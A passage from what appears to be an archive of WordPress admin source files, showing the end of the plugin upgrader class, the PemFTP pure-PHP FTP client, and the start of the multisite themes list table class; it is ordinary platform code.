		$this->strings['process_bulk_success'] = __( 'Plugins updated successfully.' );
	}

	/**
	 * Initializes the installation strings.
	 *
	 * @since 2.8.0
	 */
	public function install_strings() {
		$this->strings['no_package'] = __( 'Installation package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the package&#8230;' );
		$this->strings['installing_package']  = __( 'Installing the plugin&#8230;' );
		$this->strings['remove_old']          = __( 'Removing the current plugin&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the current plugin.' );
		$this->strings['no_files']            = __( 'The plugin contains no files.' );
		$this->strings['process_failed']      = __( 'Plugin installation failed.' );
		$this->strings['process_success']     = __( 'Plugin installed successfully.' );
		/* translators: 1: Plugin name, 2: Plugin version. */
		$this->strings['process_success_specific'] = __( 'Successfully installed the plugin <strong>%1$s %2$s</strong>.' );

		if ( ! empty( $this->skin->overwrite ) ) {
			if ( 'update-plugin' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Updating the plugin&#8230;' );
				$this->strings['process_failed']     = __( 'Plugin update failed.' );
				$this->strings['process_success']    = __( 'Plugin updated successfully.' );
			}

			if ( 'downgrade-plugin' === $this->skin->overwrite ) {
				$this->strings['installing_package'] = __( 'Downgrading the plugin&#8230;' );
				$this->strings['process_failed']     = __( 'Plugin downgrade failed.' );
				$this->strings['process_success']    = __( 'Plugin downgraded successfully.' );
			}
		}
	}

	/**
	 * Install a plugin package.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
	 *
	 * @param string $package The full local path or URI of the package.
	 * @param array  $args {
	 *     Optional. Other arguments for installing a plugin package. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
	 *                                    Default true.
	 * }
	 * @return bool|WP_Error True if the installation was successful, false or a WP_Error otherwise.
	 */
	public function install( $package, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
			'overwrite_package'  => false, // Do not overwrite files.
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->install_strings();

		add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );

		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_plugins() knows about the new plugin.
			add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
		}

		$this->run(
			array(
				'package'           => $package,
				'destination'       => WP_PLUGIN_DIR,
				'clear_destination' => $parsed_args['overwrite_package'],
				'clear_working'     => true,
				'hook_extra'        => array(
					'type'   => 'plugin',
					'action' => 'install',
				),
			)
		);

		remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
		remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

		// Force refresh of plugin update information.
		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

		if ( $parsed_args['overwrite_package'] ) {
			/**
			 * Fires when the upgrader has successfully overwritten a currently installed
			 * plugin or theme with an uploaded zip package.
			 *
			 * @since 5.5.0
			 *
			 * @param string  $package      The package file.
			 * @param array   $data         The new plugin or theme data.
			 * @param string  $package_type The package type ('plugin' or 'theme').
			 */
			do_action( 'upgrader_overwrote_package', $package, $this->new_plugin_data, 'plugin' );
		}

		return true;
	}

	/**
	 * Upgrades a plugin.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
	 *
	 * @param string $plugin Path to the plugin file relative to the plugins directory.
	 * @param array  $args {
	 *     Optional. Other arguments for upgrading a plugin package. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful.
	 *                                    Default true.
	 * }
	 * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise.
	 */
	public function upgrade( $plugin, $args = array() ) {
		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->upgrade_strings();

		$current = get_site_transient( 'update_plugins' );
		if ( ! isset( $current->response[ $plugin ] ) ) {
			$this->skin->before();
			$this->skin->set_result( false );
			$this->skin->error( 'up_to_date' );
			$this->skin->after();
			return false;
		}

		// Get the URL to the zip file.
		$r = $current->response[ $plugin ];

		add_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ), 10, 2 );
		add_filter( 'upgrader_pre_install', array( $this, 'active_before' ), 10, 2 );
		add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 );
		add_filter( 'upgrader_post_install', array( $this, 'active_after' ), 10, 2 );
		/*
		 * There's a Trac ticket to move up the directory for zips which are made a bit differently, useful for non-.org plugins.
		 * 'source_selection' => array( $this, 'source_selection' ),
		 */
		if ( $parsed_args['clear_update_cache'] ) {
			// Clear cache so wp_update_plugins() knows about the new plugin.
			add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 );
		}

		$this->run(
			array(
				'package'           => $r->package,
				'destination'       => WP_PLUGIN_DIR,
				'clear_destination' => true,
				'clear_working'     => true,
				'hook_extra'        => array(
					'plugin'      => $plugin,
					'type'        => 'plugin',
					'action'      => 'update',
					'temp_backup' => array(
						'slug' => dirname( $plugin ),
						'src'  => WP_PLUGIN_DIR,
						'dir'  => 'plugins',
					),
				),
			)
		);

		// Cleanup our hooks, in case something else does an upgrade on this connection.
		remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 );
		remove_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ) );
		remove_filter( 'upgrader_pre_install', array( $this, 'active_before' ) );
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) );
		remove_filter( 'upgrader_post_install', array( $this, 'active_after' ) );

		if ( ! $this->result || is_wp_error( $this->result ) ) {
			return $this->result;
		}

		// Force refresh of plugin update information.
		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

		/*
		 * Ensure any future auto-update failures trigger a failure email by removing
		 * the last failure notification from the list when plugins update successfully.
		 */
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		if ( isset( $past_failure_emails[ $plugin ] ) ) {
			unset( $past_failure_emails[ $plugin ] );
			update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );
		}

		return true;
	}

	/**
	 * Upgrades several plugins at once.
	 *
	 * @since 2.8.0
	 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional.
	 *
	 * @global string $wp_version The WordPress version string.
	 *
	 * @param string[] $plugins Array of paths to plugin files relative to the plugins directory.
	 * @param array    $args {
	 *     Optional. Other arguments for upgrading several plugins at once.
	 *
	 *     @type bool $clear_update_cache Whether to clear the plugin updates cache if successful. Default true.
	 * }
	 * @return array|false An array of results indexed by plugin file, or false if unable to connect to the filesystem.
	 */
	public function bulk_upgrade( $plugins, $args = array() ) {
		global $wp_version;

		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->bulk = true;
		$this->upgrade_strings();

		$current = get_site_transient( 'update_plugins' );

		add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 );

		$this->skin->header();

		// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) );
		if ( ! $res ) {
			$this->skin->footer();
			return false;
		}

		$this->skin->bulk_header();

		/*
		 * Only start maintenance mode if:
		 * - running Multisite and there are one or more plugins specified, OR
		 * - a plugin with an update available is currently active.
		 * @todo For multisite, maintenance mode should only kick in for individual sites if at all possible.
		 */
		$maintenance = ( is_multisite() && ! empty( $plugins ) );
		foreach ( $plugins as $plugin ) {
			$maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin ] ) );
		}
		if ( $maintenance ) {
			$this->maintenance_mode( true );
		}

		$results = array();

		$this->update_count   = count( $plugins );
		$this->update_current = 0;
		foreach ( $plugins as $plugin ) {
			++$this->update_current;
			$this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true );

			if ( ! isset( $current->response[ $plugin ] ) ) {
				$this->skin->set_result( 'up_to_date' );
				$this->skin->before();
				$this->skin->feedback( 'up_to_date' );
				$this->skin->after();
				$results[ $plugin ] = true;
				continue;
			}

			// Get the URL to the zip file.
			$r = $current->response[ $plugin ];

			$this->skin->plugin_active = is_plugin_active( $plugin );

			if ( isset( $r->requires ) && ! is_wp_version_compatible( $r->requires ) ) {
				$result = new WP_Error(
					'incompatible_wp_required_version',
					sprintf(
						/* translators: 1: Current WordPress version, 2: WordPress version required by the new plugin version. */
						__( 'Your WordPress version is %1$s, however the new plugin version requires %2$s.' ),
						$wp_version,
						$r->requires
					)
				);

				$this->skin->before( $result );
				$this->skin->error( $result );
				$this->skin->after();
			} elseif ( isset( $r->requires_php ) && ! is_php_version_compatible( $r->requires_php ) ) {
				$result = new WP_Error(
					'incompatible_php_required_version',
					sprintf(
						/* translators: 1: Current PHP version, 2: PHP version required by the new plugin version. */
						__( 'The PHP version on your server is %1$s, however the new plugin version requires %2$s.' ),
						PHP_VERSION,
						$r->requires_php
					)
				);

				$this->skin->before( $result );
				$this->skin->error( $result );
				$this->skin->after();
			} else {
				add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
				$result = $this->run(
					array(
						'package'           => $r->package,
						'destination'       => WP_PLUGIN_DIR,
						'clear_destination' => true,
						'clear_working'     => true,
						'is_multi'          => true,
						'hook_extra'        => array(
							'plugin'      => $plugin,
							'temp_backup' => array(
								'slug' => dirname( $plugin ),
								'src'  => WP_PLUGIN_DIR,
								'dir'  => 'plugins',
							),
						),
					)
				);
				remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );
			}

			$results[ $plugin ] = $result;

			// Prevent credentials auth screen from displaying multiple times.
			if ( false === $result ) {
				break;
			}
		} // End foreach $plugins.

		$this->maintenance_mode( false );

		// Force refresh of plugin update information.
		wp_clean_plugins_cache( $parsed_args['clear_update_cache'] );

		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action'  => 'update',
				'type'    => 'plugin',
				'bulk'    => true,
				'plugins' => $plugins,
			)
		);

		$this->skin->bulk_footer();

		$this->skin->footer();

		// Cleanup our hooks, in case something else does an upgrade on this connection.
		remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) );

		/*
		 * Ensure any future auto-update failures trigger a failure email by removing
		 * the last failure notification from the list when plugins update successfully.
		 */
		$past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() );

		foreach ( $results as $plugin => $result ) {
			// Maintain last failure notification when plugins failed to update manually.
			if ( ! $result || is_wp_error( $result ) || ! isset( $past_failure_emails[ $plugin ] ) ) {
				continue;
			}

			unset( $past_failure_emails[ $plugin ] );
		}

		update_option( 'auto_plugin_theme_update_emails', $past_failure_emails );

		return $results;
	}

	/**
	 * Checks that the source package contains a valid plugin.
	 *
	 * Hooked to the {@see 'upgrader_source_selection'} filter by Plugin_Upgrader::install().
	 *
	 * @since 3.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 * @global string             $wp_version    The WordPress version string.
	 *
	 * @param string $source The path to the downloaded package source.
	 * @return string|WP_Error The source as passed, or a WP_Error object on failure.
	 */
	public function check_package( $source ) {
		global $wp_filesystem, $wp_version;

		$this->new_plugin_data = array();

		if ( is_wp_error( $source ) ) {
			return $source;
		}

		$working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit( WP_CONTENT_DIR ), $source );
		if ( ! is_dir( $working_directory ) ) { // Sanity check, if the above fails, let's not prevent installation.
			return $source;
		}

		// Check that the folder contains at least 1 valid plugin.
		$files = glob( $working_directory . '*.php' );
		if ( $files ) {
			foreach ( $files as $file ) {
				$info = get_plugin_data( $file, false, false );
				if ( ! empty( $info['Name'] ) ) {
					$this->new_plugin_data = $info;
					break;
				}
			}
		}

		if ( empty( $this->new_plugin_data ) ) {
			return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) );
		}

		$requires_php = isset( $info['RequiresPHP'] ) ? $info['RequiresPHP'] : null;
		$requires_wp  = isset( $info['RequiresWP'] ) ? $info['RequiresWP'] : null;

		if ( ! is_php_version_compatible( $requires_php ) ) {
			$error = sprintf(
				/* translators: 1: Current PHP version, 2: Version required by the uploaded plugin. */
				__( 'The PHP version on your server is %1$s, however the uploaded plugin requires %2$s.' ),
				PHP_VERSION,
				$requires_php
			);

			return new WP_Error( 'incompatible_php_required_version', $this->strings['incompatible_archive'], $error );
		}

		if ( ! is_wp_version_compatible( $requires_wp ) ) {
			$error = sprintf(
				/* translators: 1: Current WordPress version, 2: Version required by the uploaded plugin. */
				__( 'Your WordPress version is %1$s, however the uploaded plugin requires %2$s.' ),
				$wp_version,
				$requires_wp
			);

			return new WP_Error( 'incompatible_wp_required_version', $this->strings['incompatible_archive'], $error );
		}

		return $source;
	}

	/**
	 * Retrieves the path to the file that contains the plugin info.
	 *
	 * This isn't used internally in the class, but is called by the skins.
	 *
	 * @since 2.8.0
	 *
	 * @return string|false The full path to the main plugin file, or false.
	 */
	public function plugin_info() {
		if ( ! is_array( $this->result ) ) {
			return false;
		}
		if ( empty( $this->result['destination_name'] ) ) {
			return false;
		}

		// Ensure to pass with leading slash.
		$plugin = get_plugins( '/' . $this->result['destination_name'] );
		if ( empty( $plugin ) ) {
			return false;
		}

		// Assume the requested plugin is the first in the list.
		$pluginfiles = array_keys( $plugin );

		return $this->result['destination_name'] . '/' . $pluginfiles[0];
	}

	/**
	 * Deactivates a plugin before it is upgraded.
	 *
	 * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade().
	 *
	 * @since 2.8.0
	 * @since 4.1.0 Added a return value.
	 *
	 * @param bool|WP_Error $response The installation response before the installation has started.
	 * @param array         $plugin   Plugin package arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function deactivate_plugin_before_upgrade( $response, $plugin ) {

		if ( is_wp_error( $response ) ) { // Bypass.
			return $response;
		}

		// When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it.
		if ( wp_doing_cron() ) {
			return $response;
		}

		$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';
		if ( empty( $plugin ) ) {
			return new WP_Error( 'bad_request', $this->strings['bad_request'] );
		}

		if ( is_plugin_active( $plugin ) ) {
			// Deactivate the plugin silently, Prevent deactivation hooks from running.
			deactivate_plugins( $plugin, true );
		}

		return $response;
	}

	/**
	 * Turns on maintenance mode before attempting to background update an active plugin.
	 *
	 * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade().
	 *
	 * @since 5.4.0
	 *
	 * @param bool|WP_Error $response The installation response before the installation has started.
	 * @param array         $plugin   Plugin package arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function active_before( $response, $plugin ) {
		if ( is_wp_error( $response ) ) {
			return $response;
		}

		// Only enable maintenance mode when in cron (background update).
		if ( ! wp_doing_cron() ) {
			return $response;
		}

		$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';

		// Only run if plugin is active.
		if ( ! is_plugin_active( $plugin ) ) {
			return $response;
		}

		// Change to maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( true );
		}

		return $response;
	}

	/**
	 * Turns off maintenance mode after upgrading an active plugin.
	 *
	 * Hooked to the {@see 'upgrader_post_install'} filter by Plugin_Upgrader::upgrade().
	 *
	 * @since 5.4.0
	 *
	 * @param bool|WP_Error $response The installation response after the installation has finished.
	 * @param array         $plugin   Plugin package arguments.
	 * @return bool|WP_Error The original `$response` parameter or WP_Error.
	 */
	public function active_after( $response, $plugin ) {
		if ( is_wp_error( $response ) ) {
			return $response;
		}

		// Only disable maintenance mode when in cron (background update).
		if ( ! wp_doing_cron() ) {
			return $response;
		}

		$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';

		// Only run if plugin is active.
		if ( ! is_plugin_active( $plugin ) ) {
			return $response;
		}

		// Time to remove maintenance mode. Bulk edit handles this separately.
		if ( ! $this->bulk ) {
			$this->maintenance_mode( false );
		}

		return $response;
	}

	/**
	 * Deletes the old plugin during an upgrade.
	 *
	 * Hooked to the {@see 'upgrader_clear_destination'} filter by
	 * Plugin_Upgrader::upgrade() and Plugin_Upgrader::bulk_upgrade().
	 *
	 * @since 2.8.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param bool|WP_Error $removed            Whether the destination was cleared.
	 *                                          True on success, WP_Error on failure.
	 * @param string        $local_destination  The local package destination.
	 * @param string        $remote_destination The remote package destination.
	 * @param array         $plugin             Extra arguments passed to hooked filters.
	 * @return bool|WP_Error
	 */
	public function delete_old_plugin( $removed, $local_destination, $remote_destination, $plugin ) {
		global $wp_filesystem;

		if ( is_wp_error( $removed ) ) {
			return $removed; // Pass errors through.
		}

		$plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : '';
		if ( empty( $plugin ) ) {
			return new WP_Error( 'bad_request', $this->strings['bad_request'] );
		}

		$plugins_dir     = $wp_filesystem->wp_plugins_dir();
		$this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin ) );

		if ( ! $wp_filesystem->exists( $this_plugin_dir ) ) { // If it's already vanished.
			return $removed;
		}

		/*
		 * If plugin is in its own directory, recursively delete the directory.
		 * Base check on if plugin includes directory separator AND that it's not the root plugin folder.
		 */
		if ( strpos( $plugin, '/' ) && $this_plugin_dir !== $plugins_dir ) {
			$deleted = $wp_filesystem->delete( $this_plugin_dir, true );
		} else {
			$deleted = $wp_filesystem->delete( $plugins_dir . $plugin );
		}

		if ( ! $deleted ) {
			return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
		}

		return true;
	}
}
class-ftp-pure.php000064400000012462150275632050010134 0ustar00<?php
/**
 * PemFTP - An Ftp implementation in pure PHP
 *
 * @package PemFTP
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */

/**
 * FTP implementation using fsockopen to connect.
 *
 * @package PemFTP
 * @subpackage Pure
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */
class ftp_pure extends ftp_base {

	function __construct($verb=FALSE, $le=FALSE) {
		parent::__construct(false, $verb, $le);
	}

// <!-- --------------------------------------------------------------------------------------- -->
// <!--       Private functions                                                                 -->
// <!-- --------------------------------------------------------------------------------------- -->

	function _settimeout($sock) {
		if(!@stream_set_timeout($sock, $this->_timeout)) {
			$this->PushError('_settimeout','socket set send timeout');
			$this->_quit();
			return FALSE;
		}
		return TRUE;
	}

	function _connect($host, $port) {
		$this->SendMSG("Creating socket");
		$sock = @fsockopen($host, $port, $errno, $errstr, $this->_timeout);
		if (!$sock) {
			$this->PushError('_connect','socket connect failed', $errstr." (".$errno.")");
			return FALSE;
		}
		$this->_connected=true;
		return $sock;
	}

	function _readmsg($fnction="_readmsg"){
		if(!$this->_connected) {
			$this->PushError($fnction, 'Connect first');
			return FALSE;
		}
		$result=true;
		$this->_message="";
		$this->_code=0;
		$go=true;
		do {
			$tmp=@fgets($this->_ftp_control_sock, 512);
			if($tmp===false) {
				$go=$result=false;
				$this->PushError($fnction,'Read failed');
			} else {
				$this->_message.=$tmp;
				if(preg_match("/^([0-9]{3})(-(.*[".CRLF."]{1,2})+\\1)? [^".CRLF."]+[".CRLF."]{1,2}$/", $this->_message, $regs)) $go=false;
			}
		} while($go);
		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
		$this->_code=(int)$regs[1];
		return $result;
	}

	function _exec($cmd, $fnction="_exec") {
		if(!$this->_ready) {
			$this->PushError($fnction,'Connect first');
			return FALSE;
		}
		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
		$status=@fputs($this->_ftp_control_sock, $cmd.CRLF);
		if($status===false) {
			$this->PushError($fnction,'socket write failed');
			return FALSE;
		}
		$this->_lastaction=time();
		if(!$this->_readmsg($fnction)) return FALSE;
		return TRUE;
	}

	function _data_prepare($mode=FTP_ASCII) {
		if(!$this->_settype($mode)) return FALSE;
		if($this->_passive) {
			if(!$this->_exec("PASV", "pasv")) {
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_checkCode()) {
				$this->_data_close();
				return FALSE;
			}
			$ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message));
			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
            $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			$this->_ftp_data_sock=@fsockopen($this->_datahost, $this->_dataport, $errno, $errstr, $this->_timeout);
			if(!$this->_ftp_data_sock) {
				$this->PushError("_data_prepare","fsockopen fails", $errstr." (".$errno.")");
				$this->_data_close();
				return FALSE;
			}
			else $this->_ftp_data_sock;
		} else {
			$this->SendMSG("Only passive connections available!");
			return FALSE;
		}
		return TRUE;
	}

	function _data_read($mode=FTP_ASCII, $fp=NULL) {
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Only passive connections available!");
			return FALSE;
		}
		while (!feof($this->_ftp_data_sock)) {
			$block=fread($this->_ftp_data_sock, $this->_ftp_buff_size);
			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
			else $out.=$block;
		}
		return $out;
	}

	function _data_write($mode=FTP_ASCII, $fp=NULL) {
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Only passive connections available!");
			return FALSE;
		}
		if(is_resource($fp)) {
			while(!feof($fp)) {
				$block=fread($fp, $this->_ftp_buff_size);
				if(!$this->_data_write_block($mode, $block)) return false;
			}
		} elseif(!$this->_data_write_block($mode, $fp)) return false;
		return TRUE;
	}

	function _data_write_block($mode, $block) {
		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
		do {
			if(($t=@fwrite($this->_ftp_data_sock, $block))===FALSE) {
				$this->PushError("_data_write","Can't write to socket");
				return FALSE;
			}
			$block=substr($block, $t);
		} while(!empty($block));
		return true;
	}

	function _data_close() {
		@fclose($this->_ftp_data_sock);
		$this->SendMSG("Disconnected data from remote host");
		return TRUE;
	}

	function _quit($force=FALSE) {
		if($this->_connected or $force) {
			@fclose($this->_ftp_control_sock);
			$this->_connected=false;
			$this->SendMSG("Socket closed");
		}
	}
}

?>
class-wp-ms-themes-list-table.php000064400000066630150275632050012764 0ustar00<?php
/**
 * List Table API: WP_MS_Themes_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying themes in a list table for the network admin.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_MS_Themes_List_Table extends WP_List_Table {

	public $site_id;
	public $is_site_themes;

	private $has_items;

	/**
	 * Whether to show the auto-updates UI.
	 *
	 * @since 5.5.0
	 *
	 * @var bool True if auto-updates UI is to be shown, false otherwise.
	 */
	protected $show_autoupdates = true;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global string $status
	 * @global int    $page
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $status, $page;

		parent::__construct(
			array(
				'plural' => 'themes',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$status = isset( $_REQUEST['theme_status'] ) ? $_REQUEST['theme_status'] : 'all';
		if ( ! in_array( $status, array( 'all', 'enabled', 'disabled', 'upgrade', 'search', 'broken', 'auto-update-enabled', 'auto-update-disabled' ), true ) ) {
			$status = 'all';
		}

		$page = $this->get_pagenum();

		$this->is_site_themes = ( 'site-themes-network' === $this->screen->id ) ? true : false;

		if ( $this->is_site_themes ) {
			$this->site_id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
		}

		$this->show_autoupdates = wp_is_auto_update_enabled_for_type( 'theme' ) &&
			! $this->is_site_themes && current_user_can( 'update_themes' );
	}

	/**
	 * @return array
	 */
	protected function get_table_classes() {
		// @todo Remove and add CSS for .themes.
		return array( 'widefat', 'plugins' );
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		if ( $this->is_site_themes ) {
			return current_user_can( 'manage_sites' );
		} else {
			return current_user_can( 'manage_network_themes' );
		}
	}

	/**
	 * @global string $status
	 * @global array $totals
	 * @global int $page
	 * @global string $orderby
	 * @global string $order
	 * @global string $s
	 */
	public function prepare_items() {
		global $status, $totals, $page, $orderby, $order, $s;

		wp_reset_vars( array( 'orderby', 'order', 's' ) );

		$themes = array(
			/**
			 * Filters the full array of WP_Theme objects to list in the Multisite
			 * themes list table.
			 *
			 * @since 3.1.0
			 *
			 * @param WP_Theme[] $all Array of WP_Theme objects to display in the list table.
			 */
			'all'      => apply_filters( 'all_themes', wp_get_themes() ),
			'search'   => array(),
			'enabled'  => array(),
			'disabled' => array(),
			'upgrade'  => array(),
			'broken'   => $this->is_site_themes ? array() : wp_get_themes( array( 'errors' => true ) ),
		);

		if ( $this->show_autoupdates ) {
			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

			$themes['auto-update-enabled']  = array();
			$themes['auto-update-disabled'] = array();
		}

		if ( $this->is_site_themes ) {
			$themes_per_page = $this->get_items_per_page( 'site_themes_network_per_page' );
			$allowed_where   = 'site';
		} else {
			$themes_per_page = $this->get_items_per_page( 'themes_network_per_page' );
			$allowed_where   = 'network';
		}

		$current      = get_site_transient( 'update_themes' );
		$maybe_update = current_user_can( 'update_themes' ) && ! $this->is_site_themes && $current;

		foreach ( (array) $themes['all'] as $key => $theme ) {
			if ( $this->is_site_themes && $theme->is_allowed( 'network' ) ) {
				unset( $themes['all'][ $key ] );
				continue;
			}

			if ( $maybe_update && isset( $current->response[ $key ] ) ) {
				$themes['all'][ $key ]->update = true;
				$themes['upgrade'][ $key ]     = $themes['all'][ $key ];
			}

			$filter                    = $theme->is_allowed( $allowed_where, $this->site_id ) ? 'enabled' : 'disabled';
			$themes[ $filter ][ $key ] = $themes['all'][ $key ];

			$theme_data = array(
				'update_supported' => isset( $theme->update_supported ) ? $theme->update_supported : true,
			);

			// Extra info if known. array_merge() ensures $theme_data has precedence if keys collide.
			if ( isset( $current->response[ $key ] ) ) {
				$theme_data = array_merge( (array) $current->response[ $key ], $theme_data );
			} elseif ( isset( $current->no_update[ $key ] ) ) {
				$theme_data = array_merge( (array) $current->no_update[ $key ], $theme_data );
			} else {
				$theme_data['update_supported'] = false;
			}

			$theme->update_supported = $theme_data['update_supported'];

			/*
			 * Create the expected payload for the auto_update_theme filter, this is the same data
			 * as contained within $updates or $no_updates but used when the Theme is not known.
			 */
			$filter_payload = array(
				'theme'        => $key,
				'new_version'  => '',
				'url'          => '',
				'package'      => '',
				'requires'     => '',
				'requires_php' => '',
			);

			$filter_payload = (object) array_merge( $filter_payload, array_intersect_key( $theme_data, $filter_payload ) );

			$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, $filter_payload );

			if ( ! is_null( $auto_update_forced ) ) {
				$theme->auto_update_forced = $auto_update_forced;
			}

			if ( $this->show_autoupdates ) {
				$enabled = in_array( $key, $auto_updates, true ) && $theme->update_supported;
				if ( isset( $theme->auto_update_forced ) ) {
					$enabled = (bool) $theme->auto_update_forced;
				}

				if ( $enabled ) {
					$themes['auto-update-enabled'][ $key ] = $theme;
				} else {
					$themes['auto-update-disabled'][ $key ] = $theme;
				}
			}
		}

		if ( $s ) {
			$status           = 'search';
			$themes['search'] = array_filter( array_merge( $themes['all'], $themes['broken'] ), array( $this, '_search_callback' ) );
		}

		$totals    = array();
		$js_themes = array();
		foreach ( $themes as $type => $list ) {
			$totals[ $type ]    = count( $list );
			$js_themes[ $type ] = array_keys( $list );
		}

		if ( empty( $themes[ $status ] ) && ! in_array( $status, array( 'all', 'search' ), true ) ) {
			$status = 'all';
		}

		$this->items = $themes[ $status ];
		WP_Theme::sort_by_name( $this->items );

		$this->has_items = ! empty( $themes['all'] );
		$total_this_page = $totals[ $status ];

		wp_localize_script(
			'updates',
			'_wpUpdatesItemCounts',
			array(
				'themes' => $js_themes,
				'totals' => wp_get_update_data(),
			)
		);

		if ( $orderby ) {
			$orderby = ucfirst( $orderby );
			$order   = strtoupper( $order );

			if ( 'Name' === $orderby ) {
				if ( 'ASC' === $order ) {
					$this->items = array_reverse( $this->items );
				}
			} else {
				uasort( $this->items, array( $this, '_order_callback' ) );
			}
		}

		$start = ( $page - 1 ) * $themes_per_page;

		if ( $total_this_page > $themes_per_page ) {
			$this->items = array_slice( $this->items, $start, $themes_per_page, true );
		}

		$this->set_pagination_args(
			array(
				'total_items' => $total_this_page,
